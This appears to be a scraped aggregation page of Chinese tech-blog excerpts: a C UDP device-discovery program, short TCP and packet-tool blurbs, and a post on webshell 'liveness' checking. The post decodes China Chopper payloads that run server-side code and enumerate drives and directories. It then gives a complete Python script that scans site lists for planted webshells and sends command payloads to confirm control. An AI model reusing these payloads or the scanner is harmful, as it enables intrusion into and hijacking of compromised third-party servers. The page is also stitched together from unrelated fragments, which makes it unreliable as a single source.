精华内容
下载资源
问答
  • /**  recv broadcast run in the 3518c board  **/ #include #include #include #include #include #include #include #include #include #include     #ifdef SOLARIS ...#endi

    注意:

    1、使用结构体的时候,但一个成员是48字节,但是只用了32字节的时候在发送的字节里面是按照48发送而不是32!

     

    /**
      recv
     broadcast run in the 3518c board
     **/

    #include <stdio.h>
    #include <string.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <fcntl.h>
    #include <linux/in.h>
    #include <stdlib.h>
    #include <net/if.h>
    #include <net/if_arp.h>
    #include <sys/ioctl.h>
     
     
    #ifdef SOLARIS
    #include <sys/sockio.h>
    #endif


    #define  PORT        18600
    #define  CMD_HEAD_SIZE      12
    #define  MAXINTERFACES       16
    #define  MAX_LENGHT_16      16
    #define  MAX_LENGHT_32      32
    #define  MAX_LENGHT_128      128
    #define  MAX_PAYLOAD_LEN     1400

    #define  NET_LOOP_NAME      "lo"
    #define  NET_ETHERNET_NAME     "eth"
    #define  NET_WRILESS_NAME_RA   "ra"
    #define  NET_WRILESS_NAME_WLAN    "wlan"

    //#define JOSEPH_BROADCAST_ARM
    //  common head  of search tool and ipnc

    typedef struct commandHead
    {
     int nEvent;
     int nPayloadLen;
     int nResved1;
     unsigned char ucPayload[MAX_PAYLOAD_LEN];
    }commandHead;

    // ipnc info
    typedef struct ipncInfo
    {
     char sIpncID[MAX_LENGHT_16];
     char mac[MAX_LENGHT_32];
     char sIP[MAX_LENGHT_16];
     char sVer[MAX_LENGHT_128];
    }joseph_ipncInfo;

    // event define
    // search ipnc req
    #define  JOSOPH_SEARCH_IPNC_REQ        0x00000001

    // search  ack from ipnc
    // payload: ipncInfo
    #define  JOSOPH_SEARCH_IPNC_ACK        0x00000002

    joseph_ipncInfo joseph_ipnc_info_net_device;


    int get_device_mac_ip (argc, argv)
    register int argc;
    register char *argv[];
    {
     register int fd, intrface, retn = 0;
     struct ifreq buf[MAXINTERFACES];
     struct arpreq arp;
     struct ifconf ifc;
     
     memset(&joseph_ipnc_info_net_device,0,sizeof(joseph_ipncInfo));
     
     if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) >= 0)
     {
      ifc.ifc_len = sizeof buf;
      ifc.ifc_buf = (caddr_t) buf;
      
      if (!ioctl (fd, SIOCGIFCONF, (char *) &ifc))
      {
       /*set SIOCGIFCONF to get the info of net interface*/
       intrface = ifc.ifc_len / sizeof (struct ifreq);
       printf("Interface num is : Intrface = %d \n",intrface);
      
       /*get the ip and port of device depend on the value of interface*/
       while (intrface-- > 0)
       {
        /*get the name of net device*/
        printf ("net device %s\n", buf[intrface].ifr_name);

        /*Judge card type of net device*/
        if (!(ioctl (fd, SIOCGIFFLAGS, (char *) &buf[intrface])))
        {
         /*judge the misc mode of net device*/
         if (buf[intrface].ifr_flags & IFF_PROMISC)
         {
          puts ("the interface is PROMISC");
          retn++;
         }
        }

        /*judge the status of net device*/
        if (buf[intrface].ifr_flags & IFF_UP)
        {
         puts("the interface status is UP");
    #ifdef JOSEPH_BROADCAST_ARM
         if((strstr(buf[intrface].ifr_name,NET_ETHERNET_NAME)) || ((strstr(buf[
    intrface].ifr_name,NET_LOOP_NAME))))
    #else     
         if((strstr(buf[intrface].ifr_name,NET_LOOP_NAME)))
    #endif
         {
          continue;
         }

        }
        else
        {
         puts("the interface status is DOWN");
         break;
        }  
        
        /*get the ip of current net device*/
        if (!(ioctl (fd, SIOCGIFADDR, (char *) &buf[intrface])))
        {
         puts ("IP address is:");
         printf("%s",(char *)inet_ntoa((struct in_addr)((struct sockaddr_in*)(&buf
    [intrface].ifr_addr))->sin_addr));
         sprintf(joseph_ipnc_info_net_device.sIP,"%s",(char *)inet_ntoa((struct
    in_addr)((struct sockaddr_in*)(&buf[intrface].ifr_addr))->sin_addr));
         puts("");
        }

        /*get the mac of current net device*/
        if (!(ioctl (fd, SIOCGIFHWADDR, (char *) &buf[intrface])))
        {
         puts ("HW address is:");                
         printf("%02x:%02x:%02x:%02x:%02x:%02x\n",
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[0],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[1],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[2],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[3],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[4],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[5]);
         sprintf(joseph_ipnc_info_net_device.mac,"%02x:%02x:%02x:%02x:%02x:%02x",
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[0],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[1],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[2],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[3],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[4],
           (unsigned char)buf[intrface].ifr_hwaddr.sa_data[5]);
         puts("");
        }

       }
      }
     }
     else
      perror ("cpm: socket");   
     close (fd);
     return retn;
    }

    int joseph_fill_broadcas_pack(void)
    {
     send_true_size = 0;
     
     /* get the info of net device*/
     get_device_mac_ip(); 

     strcpy(joseph_ipnc_info_net_device.sIpncID , "C0123456789");
     strcpy(joseph_ipnc_info_net_device.sVer , "V2.00.002 Build time 2014-04-29");
     printf("The Ip of broadcast server is : %s ,The size is %d\n",
    joseph_ipnc_info_net_device.sIP,strlen(joseph_ipnc_info_net_device.sIP));

     printf("The Mac of joseph ipnc is : %s ,The size is %d\n",
    joseph_ipnc_info_net_device.mac,strlen(joseph_ipnc_info_net_device.mac));

     printf("The Id of joseph ipnc  is : %s ,The size is %d\n",
    joseph_ipnc_info_net_device.sIpncID,strlen(joseph_ipnc_info_net_device.sIpncID
    ));

     printf("The Bersion of joseph ipnc is : %s ,The size is %d\n",
    joseph_ipnc_info_net_device.sVer,strlen(joseph_ipnc_info_net_device.sVer));
     
     printf("The listen port is is : %d  \n",PORT );

     return 0;
    }

    int main(int argc,char*argv[]){
     int ret=-1;
     int sock;

     /*addr of server*/
     struct sockaddr_in server_addr;
     /*addr of client*/
     struct sockaddr_in from_addr;
     commandHead broadcast_ack_buf_recv;
     commandHead broadcast_ack_buf_send;
     int from_len=sizeof(struct sockaddr_in);
     int count=-1;
     fd_set readfd;
     char buffer[MAX_PAYLOAD_LEN];
     struct timeval timeout;
     timeout.tv_sec=2;
     timeout.tv_usec=0;


     
     sock=socket(AF_INET,SOCK_DGRAM,0);
     if(sock<0){
      return;
     }

     memset((void*)&server_addr,0,sizeof(struct sockaddr_in));
     server_addr.sin_family=AF_INET;
     server_addr.sin_addr.s_addr=htons(INADDR_ANY);
     server_addr.sin_port=htons(PORT);
     
     /*bind the content of server to socket*/
     ret=bind(sock,(struct sockaddr*)&server_addr,sizeof(server_addr));
     if(ret<0){
      return;
     }
     
     joseph_fill_broadcas_pack();
     
     
     while(1){
      printf("=============================Recv Broadcast========================
    ===========\n");

      timeout.tv_sec=2;
      timeout.tv_usec=0;

      FD_ZERO(&readfd);
      FD_SET(sock,&readfd);
      ret=select(sock+1,&readfd,NULL,NULL,&timeout);
      
      printf("ret=%d\n",ret);
      
      switch(ret){
       case -1:
        break;
       case 0:
        printf("timeout\n");
        break;
       default:
        if(FD_ISSET(sock,&readfd)){
         
         /*from_addr is client info of net*/
         count=recvfrom(sock,&broadcast_ack_buf_recv,MAX_PAYLOAD_LEN,0,(struct
    sockaddr*)&from_addr,&from_len);
         broadcast_ack_buf_recv.nEvent = ntohl(broadcast_ack_buf_recv.nEvent);
         
         if(broadcast_ack_buf_recv.nEvent == JOSOPH_SEARCH_IPNC_REQ){
          
          broadcast_ack_buf_send.nEvent = htonl(JOSOPH_SEARCH_IPNC_ACK);
          broadcast_ack_buf_send.nPayloadLen = htonl(sizeof(joseph_ipncInfo));
          
          /*analysis the ip and port of client*/
          printf("Client IP is %s\n",(char *)inet_ntoa(from_addr.sin_addr));
          printf("Client Send Port:%d\n",ntohs(from_addr.sin_port));
          memset(&broadcast_ack_buf_send.ucPayload,0,MAX_PAYLOAD_LEN);
          memcpy(&broadcast_ack_buf_send.ucPayload,&joseph_ipnc_info_net_device,
    sizeof(joseph_ipncInfo));
          count=sendto(sock,&broadcast_ack_buf_send,(CMD_HEAD_SIZE+sizeof(
    joseph_ipncInfo)),0,(struct sockaddr*)&from_addr,from_len);

          printf("The value of count is %d\n",count);

          if(count < 0)
          {
           printf("The value of count is %d\n",count);
          }
         }
         
        }
        break;
      }
     }

     close(sock);
     return;
    }

    展开全文
  • 在此之前不得不先普及一下webshell存活检测的原理 为了我错了不少功课,对两款菜刀以及市面上3款webshell存活检测工具抓包分析 发现其中一款菜刀存在后门,3款webshell存活检测工具都存在后门 ...
    在此之前不得不先普及一下webshell存活检测的原理
    为了我错了不少功课,对两款菜刀以及市面上3款webshell存活检测工具抓包分析
    发现其中一款菜刀存在后门,3款webshell存活检测工具都存在后门
    首先尝试抓包webshell存活检测

    如图:


    可以看到最下面是base64编码的代码,试着解码看看


    结果为  @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-6??Р????
    后面乱码了? 不明觉厉


    从而得到检测存活性是 执行 对应的代码 ,然后在回显内匹配正确字符
    然后从菜刀抓包得到数据 


    asp网站 

    psot
    cmd=%u0045%xec%ute%G%loba%l%%28Replace%28%22Fu%nct%ion%20bd%28by%V%al%20s%29:Fo%r%20i%%3D1%20T%o%20Le%n%28s%29%20S%te%p%202:c%%3DM%id%28s%2Ci%2C2%29:If%20Is%Nu%meric%28M%id%28s%2Ci%2C1%29%29%20T%hen:bd%%3Dbd%4026%40c%hr%28%22%22%4026%40H%22%22%4026%40c%29:E%lse:bd%%3Dbd%4026%40c%hr%28%22%22%4026%40H%22%22%4026%40c%4026%40M%id%28s%2Ci%2B2%2C2%29%29:i%%3Di%2B2:E%nd%20If:Ne%xt:E%nd%20Fu%nct%ion:E%xecu%te%%28bd%%28%22%224F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022584059223A44696D20533A533D5365727665722E4D61707061746828222F2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E57726974652853293A526573706F6E73652E57726974652022584059223A526573706F6E73652E456E64%22%22%29%%29%22%2C%22%4026%40%22%2Cchr%2838%29%29%29'
    url解码后
    E%xec%ute%G%loba%l%(Replace("Fu%nct%ion bd(by%V%al s):Fo%r i%=1 T%o Le%n(s) S%te%p 2:c%=M%id(s,i,2):If Is%Nu%meric(M%id(s,i,1)) T%hen:bd%=bd@26@c%hr(""@26@H""@26@c):E%lse:bd%=bd@26@c%hr(""@26@H""@26@c@26@M%id(s,i+2,2)):i%=i+2:E%nd If:Ne%xt:E%nd Fu%nct%ion:E%xecu%te%(bd%(""4F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022584059223A44696D20533A533D5365727665722E4D61707061746828222F2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E57726974652853293A526573706F6E73652E57726974652022584059223A526573706F6E73652E456E64"")%)","@26@",chr(38)))
    HEX 加密:4F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022584059223A44696D20533A533D5365727665722E4D61707061746828222F2229266368722839293A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A496620457272205468656E3A4572722E436C6561723A456C73653A466F722045616368204420696E20432E4472697665733A533D5326442E44726976654C657474657226636872283538293A4E6578743A456E642049663A526573706F6E73652E57726974652853293A526573706F6E73652E57726974652022584059223A526573706F6E73652E456E64
    还原后为
    On Error Resume Next:Response.Write "X@Y":Dim S:S=Server.Mappath("/")&chr(9):SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:Err.Clear:Else:For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S):Response.Write "X@Y":Response.End
    如果content存在 X@YD  证明是存活的


    php网站   (解码后)


     post
    cmd=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("LZYQ");;echo("|<-");die();
    如果回显内有LZYQ存在 证明是存活的


    aspx网站
    cmd=%u0052%u0065sponse%u002E%u0057rit%u0065("X@Y");var %u0065rr:%u0045xc%u0065ption;
    %u0074ry%u007B%u0065val(Syst%u0065m%u002ET%u0065xt%u002E%u0045ncoding%u002EG%u0065t%u0045ncoding(936)%u002EG%u0065tString(Syst%u0065m.Conv%u0065rt%u002EFromBas%u006564String("dmFyIEQ9J0Q6XFx3d3dyb290XFxhbXNqalxcd3d3cm9vdFxcJzt2YXIgbT1uZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oRCk7dmFyIHM9bS5HZXREaXJlY3RvcmllcygpO3ZhciBQOlN0cmluZzt2YXIgaTtmdW5jdGlvbiBUKHA6U3RyaW5nKTpTdHJpbmd7cmV0dXJuIFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUocCkuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKTt9Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIi9cdCIrVChQKSsiXHQwXHQtXG4iKTt9cz1tLkdldEZpbGVzKCk7Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIlx0IitUKFApKyJcdCIrc1tpXS5MZW5ndGgrIlx0LVxuIik7fQ%3D%3D")),"unsaf%u0065");
    %u007Dcatch(err)%u007B%u0052esponse%u002E%u0057rite("ER"%2B"ROR:// "%2Berr.message);%u007D%u0052%u0065sponse.%u0057rit%u0065("X@Y");%u0052espons%u0065.%u0045nd();




    jsp网站
    cmd=B&z0=GB2312&z1=D%3A%5C%5Cwwwroot%5C%5Camsjj%5C%5Cwwwroot%5C%5C&z2=


    ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    分析得知,cmd是一句话木马的密码,通过执行命令判断
    那么容易写出对应程序


    其中config.txt是shell后缀+密码    url.txt是扫描网址
    先对200判断验证
    然后对返回内容保存在urlshell.txt当中,最后进行存活检测
    存活检测也可以这么写,这样执行代码


    def checkGetShellSuccess(shell_url,shell_pwd):
        script_type=shell_url.split(".")[-1]
        #print script_type
        if script_type=='php':
            pdata=shell_pwd+'=echo "test";'
            return checkConnectionSuccess(shell_url,pdata)
        elif script_type=='asp':
            pdata=shell_pwd+'=execute("response.clear:response.write(""test""):response.end")'
            return checkConnectionSuccess(shell_url,pdata)
        else:
            pdata=shell_pwd+'=Response.Clear();Response.Write("test");'
            return checkConnectionSuccess(shell_url,pdata)












    asp:555=execute("response.clear:response.write(""520""):response.end")
      %65%78%65%63%75%74%65%28%22%72%65%73%70%6F%6E%73%65%2E%63%6C%65%61%72%3A%72%65%73%70%6F%6E%73%65%2E%77%72%69%74%65%28%22%22%35%32%30%22%22%29%3A%72%65%73%70%6F%6E%73%65%2E%65%6E%64%22%29%D%A




    php;cmd=echo "520";
      %65%63%68%6F%20%22%35%32%30%22%3B
    else: cmd=Response.Clear();Response.Write("520");
      %52%65%73%70%6F%6E%73%65%2E%43%6C%65%61%72%28%29%3B%52%65%73%70%6F%6E%73%65%2E%57%72%69%74%65%28%22%35%32%30%22%29%3B
    成品源码
    #coding:utf-8
    import requests
    import os
    import threading
    import time
    import Queue
    q = Queue.Queue()


    time.sleep(8)
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102Safari/537.36'}
    f1 = open('url.txt','r')
    f2 = f1.readlines()
    f1.close()


    f3 = open(r'config.txt','r')
    f4 = f3.readlines()
    f3.close()
    for f110 in f2:
        f100 = f110.strip('\n')
        q.put(f100)
    f20 = open(r'D:\urlshell.txt','a+')
    def shell():
      while not q.empty():
        a = q.get()
        for f5 in f4:
            f6 = f5.strip('\n')     
            f7 = str(f5.split('|')[0])
            urlx = a + f7
            print urlx
            print '------------------Scan------------------------'
            try:
                r = requests.get(url=urlx,headers=headers,allow_redirects = False,timeout=3)
                if r.status_code == 200:
                    f20.write(a + f6 + '\n')
                    print 'Found A Shell........................'
                    print a + f7
                    break
                else:
                    print a + f7
                    print 'continue finding.....................'
            except:
                print 'This url connect error...................'
    thread1 = threading.Thread(target = shell())
    thread1.start()
    f20.close()
    print '-----------------------------------'
    print '★★★★start live webshell scan★★★★'.decode('utf-8')
    print '-----------------------------------'
    time.sleep(2)
    f21 = open(r'D:\urlshell.txt','r')
    f22 = f21.readlines()
    f21.close()
    f50 = open('success.txt','a+')
    for f23 in f22:
        f111 = f23.strip('\n')
        dizhi = str(f111.split('|')[0])
        shellmima = str(f111.split('|')[1])
        dataasp = shellmima  + '=%65%78%65%63%75%74%65%28%22%72%65%73%70%6F%6E%73%65%2E%63%6C%65%61%72%3A%72%65%73%70%6F%6E%73%65%2E%77%72%69%74%65%28%22%22%35%32%30%22%22%29%3A%72%65%73%70%6F%6E%73%65%2E%65%6E%64%22%29%D%A'
        dataphp = shellmima + '=%65%63%68%6F%20%22%35%32%30%22%3B'
        dataelse = shellmima + '=%52%65%73%70%6F%6E%73%65%2E%43%6C%65%61%72%28%29%3B%52%65%73%70%6F%6E%73%65%2E%57%72%69%74%65%28%22%35%32%30%22%29%3B'
        try:
            rasp =requests.post(url=dizhi,data=dataasp,headers=headers,timeout=20)
            rphp =requests.post(url=dizhi,data=dataphp,headers=headers,timeout=20)
            relse =requests.post(url=dizhi,data=dataelse,headers=headers,timeout=20)
            print rasp.status_code
            if rasp.status_code == 200 or '520' == rasp.content:
                f50.write(f111 + '\n')
                print 'luckly~found a webshell'.decode('utf-8')
            else:
                print 'shell maybe not in contral'.decode('utf-8')
            print rphp.status_code
            if rphp.status_code == 200 or '520' == rphp.content:
                f50.write(f111 + '\n')
                print 'luckly~found a webshell'.decode('utf-8')
            else:
                print 'shell maybe not in contral'.decode('utf-8')
            print relse.status_code
            if relse.status_code == 200 or '520' == relse.content:
                f50.write(f111 + '\n')
                print 'luckly~found a webshell'.decode('utf-8')
            else:
                print 'shell maybe not in contral'.decode('utf-8')
        except:
            pass
    f50.close()
    print '全部扫描完毕,欢迎您再次使用'.decode('utf-8')
    time.sleep(10)
    os.remove(r'D:\urlshell.txt')

    展开全文
  • 协议报文发包软件

    2018-11-06 16:29:15
    这个软件支持5个网卡口,支持各种协议报文自由组报文方式进行给设备进行打报文三层协议报文OSPF ISIS DHCP IGMP等等报文,二层报文基本MPLS报文,VLAN tag报文都可以
  • TCP协议发包机制

    千次阅读 2011-05-14 00:06:00
    TCP协议发包机制当我们通过TCP的socket发送一个大的数据时,TCP会把数据分成一个个小的数据包发送,然而由于接收窗口和拥塞窗口的限制,这些数据包可能不能一次发送出去。这时后继的数据包等待在发送缓冲区,等待...

    TCP协议发包机制

     

    当我们通过TCPsocket发送一个大的数据时,TCP会把数据分成一个个小的数据包发送,然而由于接收窗口和拥塞窗口的限制,这些数据包可能不能一次发送出去。这时后继的数据包等待在发送缓冲区,等待窗口的扩大。

       

    首先理解窗口:窗口是TCP的流控制方式,窗口开在发送缓冲区,只有在窗口内的数据才能被发送,这样就控制了TCP流量。随着TCP传输的进行,窗口可以增大、减小,可以沿着发送缓冲区移动,TCP两个窗口,分别称为接口窗口和拥塞窗口,注意到这两个窗口都是开在发送缓冲区,是控制发包速率的。如下图所示:

     

    0

    1

    2

    3

    4

    5

    6

    7

    8

    9

     

    上图中,只有数据包编号为345的数据才可能被发送出去。

     

    比如说有一个10K的数据,系统限制每个数据包的大小为1KTCP会把这10K的数据分为10个数据包。接收端的缓冲区只有5个数据包大小(在本例中不再考虑拥塞窗口)。

     

    TCP先发送1个数据包,然后停止发送,直到接收到接收方的ACK,再发送两个数据包,这种由接收方的ACK驱动的发包机制,叫做self-clocking。当然,也有别的驱动发包机制。比如定时器驱动发包:某包的重传定时器过期,这时就重发数据包,还有保活定时器、窗口探测定时器过期等等都会引起TCP发包。

     

     
    展开全文
  • 实现了MAC、ARP、IP 、TCP、UDP协议的编辑与发送,并且支持生成协议字段的默认值,支持用户输入协议字段值,发包前对协议字段的合理性进行检查,发包前自动计算并显示校验和,支持单次发包、多次发包,支持连续发包...
  • 然后还要准备一个post 助手(只要能使用winhttp 等 协议进行post get等操作的工具) 我使用idea的 restClient ; 然后还要有一个编码转换工具,这个百度就好。 ————————————————-开搞开搞。 ——...

    预热:谷歌浏览器 或者火狐浏览器 (其他浏览器一样的原理 依葫芦画瓢)
    然后还要准备一个post 助手(只要能使用winhttp 等 协议进行post get等操作的工具) 我使用idea的 restClient 这里写图片描述;
    然后还要有一个编码转换工具,这个百度就好。
    ————————————————-开搞开搞。
    —————-这里我省略了QQ登入绑定电话号码,这个我就不多说了这两步要是教你我怕你入狱。(假装我会的样子哈哈)
    首先改浏览器的useragent,不然浏览器无法访问微信或者qq上面分享的链接
    修改教程:https://blog.csdn.net/qq_35189120/article/details/82559598
    修改以后开始分析浏览器在我们打开链接以后都干了什么。
    打开浏览器f12 netwrok 火狐点网络 勾起 缓存
    这里写图片描述
    看见这控制台的警告,太可怕了,为了防止我口袋的两块钱被人骗走我还是快点教完吧,
    首先我们看见载入浏览器的时候不停的发送数据,但我们的浏览器都已经抓住了(这就是抓包)
    随便拿一条分析一下 结构
    这里写图片描述
    这个没啥说的上面都写的这么清楚。我们在抓包的时候主要看 post和get操作类型可以点上面的xhr这里写图片描述
    这样就过滤掉静态文件了(css.js.png…..这些没啥用js倒是有点用但是本次不涉及)
    剩下的东西我们一条条分析,
    我们点响应看看有什么东西这里写图片描述
    看到这些东西了吗?都是好东西,里面有领取记录,以及其他信息,那么我们猜测这一条就是领取hb的数据,如何证明呢,打开post助手 我使用rest client ,把需要的参数帮过来,首先是地址,然后请求方法,接着是cookies(本教程粗略介绍这个,其实只要部分参数 ,还有就是有的不需要这个。 这个靠经验,靠尝试),然后是请求参数了,这个可以直接复制过来,是一个json格式的我们选择text发送。具体如下:
    这里写图片描述
    弄好以后点发送看响应:这里写图片描述
    对比一下浏览器的结果没错这就是我们要的东西,具体参数自己分析哈,这参数都没有变形一目了然是干嘛的。好了,这样就完成了 抓包发包的过程。
    抓包是个神奇的操作,手机端可以使用fiddler来抓。
    接下来就是使用擅长的语言编写成软件了,易语言可以使用精易模块完成,java可以使用httpclient完成。
    什么你说编码软件没用到,那是因为这条数据是没进行编码的,你看看cookies是不是发现有奇怪的符号,没错这种就是被编码了,具体什么编码自己尝试,多看几次就知道什么编码长什么样了。然后就是放一个半成品装B这里写图片描述

    展开全文
  • HTTP.pl perl编写的发包工具,简化版本curl,像curl致敬(唉,“致敬”都被于妈玩坏了)。 该发包工具支持HEAD,GET,METHOD三种基本请求方法,能处理 get/post方法的表单处理、文件上传请求、基本认证,能指定...
  • 前言:本实例中以APDU协议为例进行封包和发包(这里的发包以一个报文为单位,在实际工作中应该是以实际带宽决定吧)。 #include <stdio.h> #include <string.h> #include <stdlib.h> //SYS #...
  • 1、UDP 是User Datagram Protocol的简称, 中文名是用户数据报协议,是OSI(Open System Interconnection,开放式系统互联) 参考模型中一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务,IETF RFC ...
  • 协议字段编辑框中填入默认IP包的字段值,为IP数据包的发送做好准备def create_default_ip_packet(entries):3.获取协议编辑器文本框的值,创建对应的数据包并开启一个线程用于连续发送数据包。def se...
  • TCP协议本教程主要介绍如何快速的使用Python脚本实现TCP编程,TCP相关知识请自行百度。如上图所示代码主要分为两部分客户端和服务器端。先上代码:1. python TCP协议代码client.py:import socket #创建一个客户端的...
  • 最近完成了一RTSP代理网关,这是第二次开发做RTSP协议相关的开发工作了,相比11年的简单粗糙的版本,这次在底层TCP/IP通讯和RTSP协议上都有了一些新的积累,这里记录一下。基本的RTSP协议交互流程去读rfc2326就可以...
  • 从本节开始,我们打算使用java把tcp/ip网络协议栈重新实现一遍。这是一个不小的野心,自然也是一个不小的工程,好在前面顺利完成了操作系统,编译器两门课程的实现,这给了我极大的信心。整个互联网系统分为三大支柱...
  • 我想试试用假IP地址发HTTP包,然后出现一下问题,求指点一二: 1.在局域网内用假内网地址能否经过NAT发出去,如果用假外网地址呢? 如果不行,网上那些投票程序的如何做到假IP地址。 2.在发HTTP请求之前,显然...
  • 网络安全里的漏洞,有的是基于协议的漏洞,有的是某些协议或者功能实现时候由于开发不当留下的漏洞,这两种漏洞是有所不同的。为了理解什么是基于协议的漏洞,今天来学习一下ARP协议漏洞,虽说它是个很古老的协议...
  • GUI界面,TCP/IP协议栈5层协议中实现了MAC、ARP、IP 、TCP、UDP协议的编辑与发送。 注:程序源代码在我的上传资源中
  • 从本节开始,我们打算使用java把tcp/ip网络协议栈重新实现一遍。这是一个不小的野心,自然也是一个不小的工程,好在前面顺利完成了操作系统,编译器两门课程的实现,这给了我极大的信心。整个互联网系统分为三大支柱...
  • 如果用假IP建TCP连接,而假IP地址机器协议栈,可能会发RST包使得握手失败(假设该假IP机器存在而且没开防火墙之类的话),是这样的么? 如果没有RST包,虽然三次握手并不是真正在一台机器上,但是协议栈会认为...
  • 在“getRequestParams”方法有一条语句“v6=SDBase64.encode(v3)”,显然只是用base64对参数进行简单的加密,然后接下来会把v6的值 添加到v7 中,找到关键的方法后,我们就可以构造我们自己的发包程序。把把关键的...
  • HTTP发包工具

    2018-05-11 13:41:00
    HTTP 发包工具,原创,支持多种HTTP协议方法的发包,包括GET,POST,PUT,DELETE,COPY,MOVE等,对PUT,COPY ,MOVE等复杂方法的使用提供协议头信息补充和提示。学习HTTP协议的好工具,可用于安全测试。
  • 3)为了验证UDP客户端向UDP服务端的8080端口发包,可以通过抓包查看,如图1所示。其中,第3个数据包可以看到主机B向主机A发送的UDP数据包,在Info列中可以看到源端口为随机50267,目标端口为8080(监听的端口)。 图1...
  • 发包工具anysend

    2018-08-02 14:33:58
    一个不错发包工具,支持IPv4,ipv6,ARP等常见的协议报文,可以修改IP地址,MAC ,报文长度,发包个数等
  • 发包软件xpcap

    2014-04-15 11:30:46
    发包软件,支持多种协议,可用来测试网络情况。
  • #include //SYS#define MTU_DATA 16#define MTU (MTU_DATA + 6)//USER#define RAW_LEN 100//APDU Format#define CLA 0#define INS 1#define P1 2#define P2 3#define Lc 4#define Le(data_len) (5 + (data_len))//ex...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 819
精华内容 327
关键字:

发包协议